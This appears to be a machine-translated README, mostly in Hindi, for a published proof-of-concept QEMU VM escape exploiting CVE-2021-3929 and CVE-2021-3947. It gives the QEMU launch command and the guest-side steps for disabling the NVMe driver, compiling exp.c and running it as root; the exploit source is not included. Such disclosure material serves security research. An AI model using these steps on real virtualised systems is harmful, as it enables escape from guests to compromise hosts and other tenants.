qiuhaoli/cve-2021-3929-3947पुनरावर्ती MMIO VM एस्केप PoC
CVE-2021-3929 और CVE-2021-3947 के लिए VM एस्केप PoC। केवल शैक्षिक उद्देश्यों के लिए।
आप अधिक जानकारी के लिए श्वेत पत्र पढ़ सकते हैं।
OS: Ubuntu 21.10
Linux: 5.13.0
gcc: 11.2.0
glibc: 2.34
glib: 2.68.4
QEMU: 6.1.0
Guest OS: Ubuntu 21.04
qemu-system-x86_64 run -machine type=q35,accel=kvm -cpu host \
-m 2G -hda /home/qiuhao/VMs_QEMU/ubuntu21.04/ubuntu21.04.qcow2 \
-device nvme,drive=disk0,serial=1234,cmb_size_mb=64 \
-drive file=null-co://,if=none,format=raw,id=disk0 \
-device ich9-intel-hda -vga qxl -device virtio-serial-pci \
-spice port=5900,disable-ticketing=on \
-device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
-chardev spicevmc,id=spicechannel0,name=vdagent
# Disable NVMe's Driver
echo "install nvme /bin/true" | sudo tee -a /etc/modprobe.d/blacklist.conf
sudo update-initramfs -u
sudo reboot
# You should first adjust the hardcoded constants in exp.c
# Add -DCONFIG_DEBUG_MUTEX to gcc if you compile QEMU with --enable-debug
gcc -o exp exp.c
sudo ./exp
# VM escape
यदि exp गेस्ट का रैम पता लीक करने में विफल रहता है, तो QEMU को पुनः प्रारंभ करें और पुनः प्रयास करें।
हम QEMU समुदाय और Red Hat उत्पाद सुरक्षा टीम को उनके पेशेवर प्रतिक्रियाओं के लिए धन्यवाद देते हैं।